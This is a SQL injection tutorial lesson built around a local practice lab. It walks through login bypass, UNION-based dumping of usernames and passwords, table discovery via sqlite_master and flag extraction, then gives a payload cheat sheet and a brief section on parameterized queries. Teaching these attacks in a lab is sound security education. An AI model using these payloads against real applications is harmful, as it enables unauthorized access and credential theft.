Talking to Databases
XSS attacks users. SQL Injection attacks the application itself.
Most web applications store data in databases — usernames, passwords, credit cards, personal information. SQL Injection lets you bypass security and talk directly to that database.
One simple query can dump the entire user table. Let's learn how.
What is SQL?
SQL (Structured Query Language) is how applications talk to databases.
Selecting data:
SELECT * FROM users WHERE username = 'admin';
Inserting data:
INSERT INTO users (username, password) VALUES ('john', 'secret123');
Updating data:
UPDATE users SET password = 'newpass' WHERE username = 'john';
When a web application doesn't properly separate user input from SQL commands, you can inject your own SQL.
How SQL Injection Works
Imagine a login form. The application might construct a query like:
SELECT * FROM users WHERE username = '[INPUT]' AND password = '[INPUT]';
If you enter:
- Username:
admin - Password:
secret
The query becomes:
SELECT * FROM users WHERE username = 'admin' AND password = 'secret';
But what if you enter:
- Username:
admin'-- - Password:
anything
The query becomes:
SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything';
The -- is a SQL comment. Everything after it is ignored:
SELECT * FROM users WHERE username = 'admin'
You just logged in as admin without knowing the password.
Building the SQL Injection Lab
Download and run the SQL injection practice lab:
SQL Injection Lab
Practice SQL injection against a SQLite database - login bypass, UNION attacks, data extraction
python3 sqli_lab.py
The lab includes 4 vulnerable endpoints:
- Login - Authentication bypass
- Product Search - Data extraction via UNION
- User Lookup - UNION-based attacks with 4 columns
- Category Filter - Error-based injection
Hidden tables to discover: users, products, secrets
Attack 1: Authentication Bypass
The Vulnerability
The login query:
SELECT * FROM users WHERE username = '[INPUT]' AND password = '[INPUT]'
The Exploit
Username: admin'--
Password: anything
The query becomes:
SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'
Everything after -- is a comment. The password check is gone.
Try It
- Go to the Login section
- Enter
admin'--as username - Enter anything as password
- You're logged in as admin!
Alternative Payloads
' OR '1'='1'--
' OR 1=1--
admin'/*
' OR ''='
Attack 2: UNION-Based Data Extraction
The Concept
UNION combines results from multiple SELECT statements:
SELECT name FROM products
UNION
SELECT username FROM users
This returns product names AND usernames in the same result.
Finding the Column Count
First, determine how many columns the original query returns:
1 ORDER BY 1-- (works)
1 ORDER BY 2-- (works)
1 ORDER BY 3-- (works)
1 ORDER BY 4-- (works)
1 ORDER BY 5-- (error!)
The original query has 4 columns.
Extracting Data
Now inject a UNION query with 4 columns:
In the User Lookup field, enter:
1 UNION SELECT 1,username,password,role FROM users--
This returns the original user AND all usernames/passwords from the users table.
Try It
- Go to User Lookup
- Enter:
1 UNION SELECT 1,username,password,email FROM users-- - See all user credentials!
Attack 3: Discovering Tables
SQLite Table Discovery
SQLite stores metadata in sqlite_master:
1 UNION SELECT 1,name,sql,type FROM sqlite_master--
This shows all tables and their structure.
Try It
Enter in User Lookup:
1 UNION SELECT 1,name,sql,type FROM sqlite_master WHERE type='table'--
You'll see:
userstableproductstablesecretstable (hidden!)
Attack 4: Extracting the Secret
Now that you know there's a secrets table, extract it:
1 UNION SELECT 1,secret_key,secret_value,1 FROM secrets--
You found the flag!
Prevention (For Developers)
Parameterized Queries
Vulnerable:
query = f"SELECT * FROM users WHERE id = {user_input}"
Secure:
cursor.execute("SELECT * FROM users WHERE id = ?", (user_input,))
The database treats user_input as data, not code.
ORM Usage
Frameworks like SQLAlchemy, Django ORM, and ActiveRecord handle parameterization automatically:
User.query.filter_by(id=user_input).first()
SQL Injection Cheat Sheet
Authentication bypass:
' OR '1'='1
' OR 1=1--
admin'--
' OR ''='
UNION attacks:
' UNION SELECT null--
' UNION SELECT null,null--
' UNION SELECT 1,2,3--
' UNION SELECT username,password,1 FROM users--
Column count:
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
Comments:
-- (MySQL, SQLite, PostgreSQL)
# (MySQL)
/**/ (All databases)
Lab Challenges
- Login as admin without the password
- Extract all usernames and passwords from the users table
- Find all tables in the database
- Extract the FLAG from the secrets table
- Extract data using error messages in the Category section
What's Next?
You've learned to bypass authentication and extract data. But what about when you need users to do the attacking for you?
In Lesson 6: Authentication Attacks, we'll explore password attacks, brute forcing, and credential stuffing — the techniques that lead to actual account compromises.